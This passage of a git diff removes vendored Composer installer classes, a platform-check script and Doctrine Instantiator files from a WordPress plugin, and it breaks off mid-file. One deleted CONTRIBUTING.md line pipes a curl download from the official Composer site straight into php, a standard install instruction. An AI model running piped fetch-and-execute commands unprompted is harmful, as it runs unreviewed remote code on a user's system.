a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SiteDirectInstaller.php +++ /dev/null @@ -1,25 +0,0 @@ - 'modules/{$vendor}/{$name}/', - 'plugin' => 'plugins/{$vendor}/{$name}/' - ); - - public function inflectPackageVars($vars) - { - return $this->parseVars($vars); - } - - protected function parseVars($vars) - { - $vars['vendor'] = strtolower($vars['vendor']) == 'sitedirect' ? 'SiteDirect' : $vars['vendor']; - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/StarbugInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/StarbugInstaller.php deleted file mode 100644 index a31c9fda..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/StarbugInstaller.php +++ /dev/null @@ -1,12 +0,0 @@ - 'modules/{$name}/', - 'theme' => 'themes/{$name}/', - 'custom-module' => 'app/modules/{$name}/', - 'custom-theme' => 'app/themes/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SyDESInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SyDESInstaller.php deleted file mode 100644 index 8626a9bc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SyDESInstaller.php +++ /dev/null @@ -1,47 +0,0 @@ - 'app/modules/{$name}/', - 'theme' => 'themes/{$name}/', - ); - - /** - * Format module name. - * - * Strip `sydes-` prefix and a trailing '-theme' or '-module' from package name if present. - * - * {@inerhitDoc} - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] == 'sydes-module') { - return $this->inflectModuleVars($vars); - } - - if ($vars['type'] === 'sydes-theme') { - return $this->inflectThemeVars($vars); - } - - return $vars; - } - - public function inflectModuleVars($vars) - { - $vars['name'] = preg_replace('/(^sydes-|-module$)/i', '', $vars['name']); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } - - protected function inflectThemeVars($vars) - { - $vars['name'] = preg_replace('/(^sydes-|-theme$)/', '', $vars['name']); - $vars['name'] = strtolower($vars['name']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SyliusInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SyliusInstaller.php deleted file mode 100644 index 4357a35b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SyliusInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'themes/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Symfony1Installer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Symfony1Installer.php deleted file mode 100644 index 1675c4f2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Symfony1Installer.php +++ /dev/null @@ -1,26 +0,0 @@ - - */ -class Symfony1Installer extends BaseInstaller -{ - protected $locations = array( - 'plugin' => 'plugins/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $vars['name'] = preg_replace_callback('/(-[a-z])/', function ($matches) { - return strtoupper($matches[0][1]); - }, $vars['name']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TYPO3CmsInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TYPO3CmsInstaller.php deleted file mode 100644 index b1663e84..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TYPO3CmsInstaller.php +++ /dev/null @@ -1,16 +0,0 @@ - - */ -class TYPO3CmsInstaller extends BaseInstaller -{ - protected $locations = array( - 'extension' => 'typo3conf/ext/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TYPO3FlowInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TYPO3FlowInstaller.php deleted file mode 100644 index 42572f44..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TYPO3FlowInstaller.php +++ /dev/null @@ -1,38 +0,0 @@ - 'Packages/Application/{$name}/', - 'framework' => 'Packages/Framework/{$name}/', - 'plugin' => 'Packages/Plugins/{$name}/', - 'site' => 'Packages/Sites/{$name}/', - 'boilerplate' => 'Packages/Boilerplates/{$name}/', - 'build' => 'Build/{$name}/', - ); - - /** - * Modify the package name to be a TYPO3 Flow style key. - * - * @param array $vars - * @return array - */ - public function inflectPackageVars($vars) - { - $autoload = $this->package->getAutoload(); - if (isset($autoload['psr-0']) && is_array($autoload['psr-0'])) { - $namespace = key($autoload['psr-0']); - $vars['name'] = str_replace('\\', '.', $namespace); - } - if (isset($autoload['psr-4']) && is_array($autoload['psr-4'])) { - $namespace = key($autoload['psr-4']); - $vars['name'] = rtrim(str_replace('\\', '.', $namespace), '.'); - } - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TaoInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TaoInstaller.php deleted file mode 100644 index 4f79a45f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TaoInstaller.php +++ /dev/null @@ -1,30 +0,0 @@ - '{$name}' - ); - - public function inflectPackageVars($vars) - { - $extra = $this->package->getExtra(); - - if (array_key_exists(self::EXTRA_TAO_EXTENSION_NAME, $extra)) { - $vars['name'] = $extra[self::EXTRA_TAO_EXTENSION_NAME]; - return $vars; - } - - $vars['name'] = str_replace('extension-', '', $vars['name']); - $vars['name'] = str_replace('-', ' ', $vars['name']); - $vars['name'] = lcfirst(str_replace(' ', '', ucwords($vars['name']))); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php deleted file mode 100644 index e20e65b8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php +++ /dev/null @@ -1,32 +0,0 @@ - 'extensions/{$vendor}/{$name}/', - 'theme' => 'themes/{$name}/', - ); - - /** - * Format package name. - * - * Cut off leading 'ti-ext-' or 'ti-theme-' if present. - * Strip vendor name of characters that is not alphanumeric or an underscore - * - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] === 'tastyigniter-extension') { - $vars['vendor'] = preg_replace('/[^a-z0-9_]/i', '', $vars['vendor']); - $vars['name'] = preg_replace('/^ti-ext-/', '', $vars['name']); - } - - if ($vars['type'] === 'tastyigniter-theme') { - $vars['name'] = preg_replace('/^ti-theme-/', '', $vars['name']); - } - - return $vars; - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TheliaInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TheliaInstaller.php deleted file mode 100644 index 158af526..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TheliaInstaller.php +++ /dev/null @@ -1,12 +0,0 @@ - 'local/modules/{$name}/', - 'frontoffice-template' => 'templates/frontOffice/{$name}/', - 'backoffice-template' => 'templates/backOffice/{$name}/', - 'email-template' => 'templates/email/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TuskInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TuskInstaller.php deleted file mode 100644 index 7c0113b8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TuskInstaller.php +++ /dev/null @@ -1,14 +0,0 @@ - - */ - class TuskInstaller extends BaseInstaller - { - protected $locations = array( - 'task' => '.tusk/tasks/{$name}/', - 'command' => '.tusk/commands/{$name}/', - 'asset' => 'assets/tusk/{$name}/', - ); - } diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/UserFrostingInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/UserFrostingInstaller.php deleted file mode 100644 index fcb414ab..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/UserFrostingInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'app/sprinkles/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/VanillaInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/VanillaInstaller.php deleted file mode 100644 index 24ca6451..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/VanillaInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'plugins/{$name}/', - 'theme' => 'themes/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/VgmcpInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/VgmcpInstaller.php deleted file mode 100644 index 7d90c5e6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/VgmcpInstaller.php +++ /dev/null @@ -1,49 +0,0 @@ - 'src/{$vendor}/{$name}/', - 'theme' => 'themes/{$name}/' - ); - - /** - * Format package name. - * - * For package type vgmcp-bundle, cut off a trailing '-bundle' if present. - * - * For package type vgmcp-theme, cut off a trailing '-theme' if present. - * - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] === 'vgmcp-bundle') { - return $this->inflectPluginVars($vars); - } - - if ($vars['type'] === 'vgmcp-theme') { - return $this->inflectThemeVars($vars); - } - - return $vars; - } - - protected function inflectPluginVars($vars) - { - $vars['name'] = preg_replace('/-bundle$/', '', $vars['name']); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } - - protected function inflectThemeVars($vars) - { - $vars['name'] = preg_replace('/-theme$/', '', $vars['name']); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WHMCSInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WHMCSInstaller.php deleted file mode 100644 index b65dbbaf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WHMCSInstaller.php +++ /dev/null @@ -1,21 +0,0 @@ - 'modules/addons/{$vendor}_{$name}/', - 'fraud' => 'modules/fraud/{$vendor}_{$name}/', - 'gateways' => 'modules/gateways/{$vendor}_{$name}/', - 'notifications' => 'modules/notifications/{$vendor}_{$name}/', - 'registrars' => 'modules/registrars/{$vendor}_{$name}/', - 'reports' => 'modules/reports/{$vendor}_{$name}/', - 'security' => 'modules/security/{$vendor}_{$name}/', - 'servers' => 'modules/servers/{$vendor}_{$name}/', - 'social' => 'modules/social/{$vendor}_{$name}/', - 'support' => 'modules/support/{$vendor}_{$name}/', - 'templates' => 'templates/{$vendor}_{$name}/', - 'includes' => 'includes/{$vendor}_{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WinterInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WinterInstaller.php deleted file mode 100644 index cff1bf19..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WinterInstaller.php +++ /dev/null @@ -1,58 +0,0 @@ - 'modules/{$name}/', - 'plugin' => 'plugins/{$vendor}/{$name}/', - 'theme' => 'themes/{$name}/' - ); - - /** - * Format package name. - * - * For package type winter-plugin, cut off a trailing '-plugin' if present. - * - * For package type winter-theme, cut off a trailing '-theme' if present. - * - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] === 'winter-module') { - return $this->inflectModuleVars($vars); - } - - if ($vars['type'] === 'winter-plugin') { - return $this->inflectPluginVars($vars); - } - - if ($vars['type'] === 'winter-theme') { - return $this->inflectThemeVars($vars); - } - - return $vars; - } - - protected function inflectModuleVars($vars) - { - $vars['name'] = preg_replace('/^wn-|-module$/', '', $vars['name']); - - return $vars; - } - - protected function inflectPluginVars($vars) - { - $vars['name'] = preg_replace('/^wn-|-plugin$/', '', $vars['name']); - $vars['vendor'] = preg_replace('/[^a-z0-9_]/i', '', $vars['vendor']); - - return $vars; - } - - protected function inflectThemeVars($vars) - { - $vars['name'] = preg_replace('/^wn-|-theme$/', '', $vars['name']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WolfCMSInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WolfCMSInstaller.php deleted file mode 100644 index cb387881..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WolfCMSInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'wolf/plugins/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WordPressInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WordPressInstaller.php deleted file mode 100644 index 91c46ad9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WordPressInstaller.php +++ /dev/null @@ -1,12 +0,0 @@ - 'wp-content/plugins/{$name}/', - 'theme' => 'wp-content/themes/{$name}/', - 'muplugin' => 'wp-content/mu-plugins/{$name}/', - 'dropin' => 'wp-content/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/YawikInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/YawikInstaller.php deleted file mode 100644 index 27f429ff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/YawikInstaller.php +++ /dev/null @@ -1,32 +0,0 @@ - 'module/{$name}/', - ); - - /** - * Format package name to CamelCase - * @param array $vars - * - * @return array - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $vars['name'])); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ZendInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ZendInstaller.php deleted file mode 100644 index bde9bc8c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ZendInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'library/{$name}/', - 'extra' => 'extras/library/{$name}/', - 'module' => 'module/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ZikulaInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ZikulaInstaller.php deleted file mode 100644 index 56cdf5da..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ZikulaInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'modules/{$vendor}-{$name}/', - 'theme' => 'themes/{$vendor}-{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/bootstrap.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/bootstrap.php deleted file mode 100644 index 0de276ee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/bootstrap.php +++ /dev/null @@ -1,13 +0,0 @@ -= 70400)) { - $issues[] = 'Your Composer dependencies require a PHP version ">= 7.4.0". You are running ' . PHP_VERSION . '.'; -} - -if ($issues) { - if (!headers_sent()) { - header('HTTP/1.1 500 Internal Server Error'); - } - if (!ini_get('display_errors')) { - if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { - fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); - } elseif (!headers_sent()) { - echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; - } - } - trigger_error( - 'Composer detected issues in your platform: ' . implode(' ', $issues), - E_USER_ERROR - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/.doctrine-project.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/.doctrine-project.json deleted file mode 100644 index 24ae36e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/.doctrine-project.json +++ /dev/null @@ -1,47 +0,0 @@ -{ - "active": true, - "name": "Instantiator", - "slug": "instantiator", - "docsSlug": "doctrine-instantiator", - "codePath": "/src", - "versions": [ - { - "name": "1.5", - "branchName": "1.5.x", - "slug": "latest", - "upcoming": true - }, - { - "name": "1.4", - "branchName": "1.4.x", - "slug": "1.4", - "aliases": [ - "current", - "stable" - ], - "maintained": true, - "current": true - }, - { - "name": "1.3", - "branchName": "1.3.x", - "slug": "1.3", - "maintained": false - }, - { - "name": "1.2", - "branchName": "1.2.x", - "slug": "1.2" - }, - { - "name": "1.1", - "branchName": "1.1.x", - "slug": "1.1" - }, - { - "name": "1.0", - "branchName": "1.0.x", - "slug": "1.0" - } - ] -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/CONTRIBUTING.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/CONTRIBUTING.md deleted file mode 100644 index c1a2c42e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/CONTRIBUTING.md +++ /dev/null @@ -1,35 +0,0 @@ -# Contributing - - * Follow the [Doctrine Coding Standard](https://github.com/doctrine/coding-standard) - * The project will follow strict [object calisthenics](http://www.slideshare.net/guilhermeblanco/object-calisthenics-applied-to-php) - * Any contribution must provide tests for additional introduced conditions - * Any un-confirmed issue needs a failing test case before being accepted - * Pull requests must be sent from a new hotfix/feature branch, not from `master`. - -## Installation - -To install the project and run the tests, you need to clone it first: - -```sh -$ git clone git://github.com/doctrine/instantiator.git -``` - -You will then need to run a composer installation: - -```sh -$ cd Instantiator -$ curl -s https://getcomposer.org/installer | php -$ php composer.phar update -``` - -## Testing - -The PHPUnit version to be used is the one installed as a dev- dependency via composer: - -```sh -$ ./vendor/bin/phpunit -``` - -Accepted coverage for new contributions is 80%. Any contribution not satisfying this requirement -won't be merged. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/LICENSE deleted file mode 100644 index 4d983d1a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2014 Doctrine Project - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/README.md deleted file mode 100644 index 1fa95679..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/README.md +++ /dev/null @@ -1,38 +0,0 @@ -# Instantiator - -This library provides a way of avoiding usage of constructors when instantiating PHP classes. - -[![Build Status](https://travis-ci.org/doctrine/instantiator.svg?branch=master)](https://travis-ci.org/doctrine/instantiator) -[![Code Coverage](https://codecov.io/gh/doctrine/instantiator/branch/master/graph/badge.svg)](https://codecov.io/gh/doctrine/instantiator/branch/master) -[![Dependency Status](https://www.versioneye.com/package/php--doctrine--instantiator/badge.svg)](https://www.versioneye.com/package/php--doctrine--instantiator) - -[![Latest Stable Version](https://poser.pugx.org/doctrine/instantiator/v/stable.png)](https://packagist.org/packages/doctrine/instantiator) -[![Latest Unstable Version](https://poser.pugx.org/doctrine/instantiator/v/unstable.png)](https://packagist.org/packages/doctrine/instantiator) - -## Installation - -The suggested installation method is via [composer](https://getcomposer.org/): - -```sh -composer require doctrine/instantiator -``` - -## Usage - -The instantiator is able to create new instances of any class without using the constructor or any API of the class -itself: - -```php -$instantiator = new \Doctrine\Instantiator\Instantiator(); - -$instance = $instantiator->instantiate(\My\ClassName\Here::class); -``` - -## Contributing - -Please read the [CONTRIBUTING.md](CONTRIBUTING.md) contents if you wish to help out! - -## Credits - -This library was migrated from [ocramius/instantiator](https://github.com/Ocramius/Instantiator), which -has been donated to the doctrine organization, and which is now deprecated in favour of this package. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/composer.json deleted file mode 100644 index 179145e8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/composer.json +++ /dev/null @@ -1,48 +0,0 @@ -{ - "name": "doctrine/instantiator", - "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", - "type": "library", - "license": "MIT", - "homepage": "https://www.doctrine-project.org/projects/instantiator.html", - "keywords": [ - "instantiate", - "constructor" - ], - "authors": [ - { - "name": "Marco Pivetta", - "email": "ocramius@gmail.com", - "homepage": "https://ocramius.github.io/" - } - ], - "require": { - "php": "^8.1" - }, - "require-dev": { - "ext-phar": "*", - "ext-pdo": "*", - "doctrine/coding-standard": "^11", - "phpbench/phpbench": "^1.2", - "phpstan/phpstan": "^1.9.4", - "phpstan/phpstan-phpunit": "^1.3", - "phpunit/phpunit": "^9.5.27", - "vimeo/psalm": "^5.4" - }, - "autoload": { - "psr-4": { - "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" - } - }, - "autoload-dev": { - "psr-0": { - "DoctrineTest\\InstantiatorPerformance\\": "tests", - "DoctrineTest\\InstantiatorTest\\": "tests", - "DoctrineTest\\InstantiatorTestAsset\\": "tests" - } - }, - "config": { - "allow-plugins": { - "dealerdirect/phpcodesniffer-composer-installer": true - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/docs/en/index.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/docs/en/index.rst deleted file mode 100644 index 0c85da0b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/docs/en/index.rst +++ /dev/null @@ -1,68 +0,0 @@ -Introduction -============ - -This library provides a way of avoiding usage of constructors when instantiating PHP classes. - -Installation -============ - -The suggested installation method is via `composer`_: - -.. code-block:: console - - $ composer require doctrine/instantiator - -Usage -===== - -The instantiator is able to create new instances of any class without -using the constructor or any API of the class itself: - -.. code-block:: php - - instantiate(User::class); - -Contributing -============ - -- Follow the `Doctrine Coding Standard`_ -- The project will follow strict `object calisthenics`_ -- Any contribution must provide tests for additional introduced - conditions -- Any un-confirmed issue needs a failing test case before being - accepted -- Pull requests must be sent from a new hotfix/feature branch, not from - ``master``. - -Testing -======= - -The PHPUnit version to be used is the one installed as a dev- dependency -via composer: - -.. code-block:: console - - $ ./vendor/bin/phpunit - -Accepted coverage for new contributions is 80%. Any contribution not -satisfying this requirement won’t be merged. - -Credits -======= - -This library was migrated from `ocramius/instantiator`_, which has been -donated to the doctrine organization, and which is now deprecated in -favour of this package. - -.. _composer: https://getcomposer.org/ -.. _CONTRIBUTING.md: CONTRIBUTING.md -.. _ocramius/instantiator: https://github.com/Ocramius/Instantiator -.. _Doctrine Coding Standard: https://github.com/doctrine/coding-standard -.. _object calisthenics: http://www.slideshare.net/guilhermeblanco/object-calisthenics-applied-to-php diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/docs/en/sidebar.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/docs/en/sidebar.rst deleted file mode 100644 index 0c364791..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/docs/en/sidebar.rst +++ /dev/null @@ -1,4 +0,0 @@ -.. toctree:: - :depth: 3 - - index diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/psalm.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/psalm.xml deleted file mode 100644 index e9b622b3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/psalm.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/ExceptionInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/ExceptionInterface.php deleted file mode 100644 index 1e591928..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/ExceptionInterface.php +++ /dev/null @@ -1,14 +0,0 @@ - $reflectionClass - * - * @template T of object - */ - public static function fromAbstractClass(ReflectionClass $reflectionClass): self - { - return new self(sprintf( - 'The provided class "%s" is abstract, and cannot be instantiated', - $reflectionClass->getName(), - )); - } - - public static function fromEnum(string $className): self - { - return new self(sprintf( - 'The provided class "%s" is an enum, and cannot be instantiated', - $className, - )); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/UnexpectedValueException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/UnexpectedValueException.php deleted file mode 100644 index 4f70ded2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/UnexpectedValueException.php +++ /dev/null @@ -1,61 +0,0 @@ - $reflectionClass - * - * @template T of object - */ - public static function fromSerializationTriggeredException( - ReflectionClass $reflectionClass, - Exception $exception, - ): self { - return new self( - sprintf( - 'An exception was raised while trying to instantiate an instance of 